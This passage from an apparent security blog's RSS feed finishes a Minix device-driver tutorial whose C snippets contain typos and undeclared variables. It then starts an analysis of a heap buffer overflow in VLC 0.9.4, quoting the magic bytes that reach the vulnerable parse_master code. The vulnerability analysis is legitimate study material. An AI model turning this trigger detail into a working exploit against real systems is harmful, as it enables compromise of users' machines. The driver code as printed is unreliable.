class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cdev_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UNUSED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys_safecopyfrom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vir_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An example of a C script which performs the libc library &lt;em&gt;write&lt;/em&gt; call which calls the device driver &lt;em&gt;write&lt;/em&gt; function and writes an integer to the device file is shown in the snippet below.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#inclue &amp;lt;sys/types.h&amp;gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#define [NAME]_DEV &quot;/dev/[name]&quot;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DEV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;O_RDWR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;atoi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;write&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ioctl-function&quot;&gt;&lt;em&gt;ioctl&lt;/em&gt; function&lt;/h2&gt;

&lt;p&gt;Finally there is the &lt;strong&gt;ioctl&lt;/strong&gt; function. &lt;em&gt;ioctl&lt;/em&gt; is used to manipulate underlying device parameters of special files (i.e. device files).&lt;/p&gt;

&lt;p&gt;To set up I/O control for this simple driver, we can create a header file (call it something like ioc_[name].h and place it in the &lt;em&gt;/usr/include/sys/&lt;/em&gt; directory). This file can later be referenced in your device driver file using &lt;em&gt;#include &amp;lt;sys/ioc&lt;/em&gt;[name].h&amp;gt;_. In this file, you will define the different I/O control methods. For example, you could define three I/O control methods which control reading, writing and clearing a device file. This code is shown below…&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#ifndef _S_I_[NAME]_H
#define _S_I_[NAME]_H
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;minix/ioctl.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#define IOCREAD   _IOR(&apos;h&apos;, 3, u32_t)
#define IOCWRITE  _IOW(&apos;h&apos;, 4, u32_t)
#define IOCCLEAR  _IOW(&apos;h&apos;, 5, u32_t)
#endif
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The file above has a single include, (&lt;em&gt;&amp;lt;minix/ioctl.h&lt;/em&gt;) which contains only a single line which is another include, (&lt;em&gt;&amp;lt;sys/ioccom.h&amp;gt;&lt;/em&gt;). &lt;em&gt;ioccom.h&lt;/em&gt; contains the references for different types of I/O control definitions. The two definitions we will use (in our simple driver addition) are shown in the snippet below. It’s important to note that there are far more definitions which could be used in more advanced drivers.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#define _IOR(g,n,t)   _IOC(IOC_OUT,   (g), (n), sizeof(t))
#define _IOW(g,n,t)   _IOC(IOC_IN,   (g), (n), sizeof(t))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we have the I/O header for our device driver, we can initialize the &lt;em&gt;[name]_ioctl&lt;/em&gt; function in our driver file. The code snippet below is an example of how that would be done. The important function argument in the &lt;em&gt;ioctl&lt;/em&gt; function is the &lt;em&gt;unsigned long request&lt;/em&gt; parameter. This &lt;em&gt;request&lt;/em&gt; value is the control value sent from the user program to the device driver which specifies which I/O control method is being invoked.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_ioctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dev_minor_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;minor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cp_grant_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;endpoint_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_endpt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cdev_id_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IOCREAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//Insert Functionality Here&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IOCWRITE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//Insert Functionality Here&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IOCCLEAR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//Insert Functionality Here&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An example user program is provided in the snippet below… In this example, a single IOC call is made. It is up to you to figure out what you would like the different functionality to be!&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/ioc_[name].h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#define [NAME]_DEV &quot;/dev/[name]&quot;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_dev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;O_RDWR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ioctl&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IOCREAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ioctl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This was just a quick look at adding a bit more functionality to a device driver in Minix. Thanks for reading and feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact me&lt;/a&gt; if there are any questions!&lt;/p&gt;
</description>
        <pubDate>Fri, 18 Oct 2019 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/minix-character-device-driver</link>
        <guid isPermaLink="true">https://shellsharks.com/minix-character-device-driver</guid>
        
        <category>code</category>
        
        <category>dev</category>
        
        <category>linux</category>
        
        <category>minix</category>
        
        <category>technology</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Heap Buffer Overflow in VLC v0.9.4</title>
        <shark:summary><p>A <a href="https://shellsharks.com/vlc-stack-overflow#title">previous post</a> analyzed a stack buffer-overflow in the <em>parse_master</em> function of VLC &lt;=v0.9.4. <em>parse_master</em> is susceptible to another vulnerability, this time of the <strong>heap-overflow</strong> variety.</p>
</shark:summary>
        <description>&lt;p&gt;A &lt;a href=&quot;https://shellsharks.com/vlc-stack-overflow#title&quot;&gt;previous post&lt;/a&gt; analyzed a stack buffer-overflow in the &lt;em&gt;parse_master&lt;/em&gt; function of VLC &amp;lt;=v0.9.4. &lt;em&gt;parse_master&lt;/em&gt; is susceptible to another vulnerability, this time of the &lt;strong&gt;heap-overflow&lt;/strong&gt; variety.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;Following this analysis requires some understanding of &lt;a href=&quot;https://shellsharks.com/intel-assembly-primer#title&quot;&gt;Intel assembly and basic reverse engineering concepts&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
&lt;b&gt;Throughout the analysis below, portions of the &lt;i&gt;ty.c&lt;/i&gt; &lt;a href=&quot;#source-code&quot;&gt;source code&lt;/a&gt; are referenced using a bracketed &quot;[1]&quot; annotation. This source code and all annotations are provided at the bottom of the page. In most cases, code snippets are also provided directly below the paragraph where the code is referenced.&lt;/b&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2019/vlc.mini.svg&quot; alt=&quot;vlc&quot; width=&quot;125px&quot; /&gt;&lt;/center&gt;

&lt;h2 id=&quot;explanation-of-source-code&quot;&gt;Explanation of Source Code&lt;/h2&gt;

&lt;p&gt;When VLC plays a &lt;em&gt;.ty&lt;/em&gt; or any other file and encounters a certain sequence of bytes &lt;strong&gt;[13]&lt;/strong&gt; it calls the &lt;em&gt;parse_master&lt;/em&gt; function with &lt;em&gt;p_demux&lt;/em&gt; as an argument &lt;strong&gt;[15]&lt;/strong&gt;. &lt;em&gt;p_demux&lt;/em&gt; is the remaining (unprocessed) bytes of the input video file. The &lt;em&gt;peek&lt;/em&gt; function &lt;strong&gt;[14]&lt;/strong&gt; compares the current 4 bytes in the input stream to the magic bytes &lt;strong&gt;[13]&lt;/strong&gt; and then rewinds &lt;em&gt;p_demux&lt;/em&gt; to the offset beginning with those same bytes (in other words, if the magic bytes are encountered, &lt;em&gt;parse_master&lt;/em&gt; is passed the input stream (&lt;em&gt;p_demux&lt;/em&gt;) starting with the offset of the magic bytes).&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#define TIVO_PES_FILEID   ( 0xf5467abd ) [13]
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* check if it&apos;s a PART Header */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;U32_AT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_peek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TIVO_PES_FILEID&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;cm&quot;&gt;/* parse master chunk */&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;parse_master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p_demux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see in the image below, the byte stream begins with the magic bytes “&lt;em&gt;F5 46 7a bd&lt;/em&gt;”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/videotybytes.png&quot; alt=&quot;Video.ty+ Bytes&quot; /&gt;&lt;/p&gt;

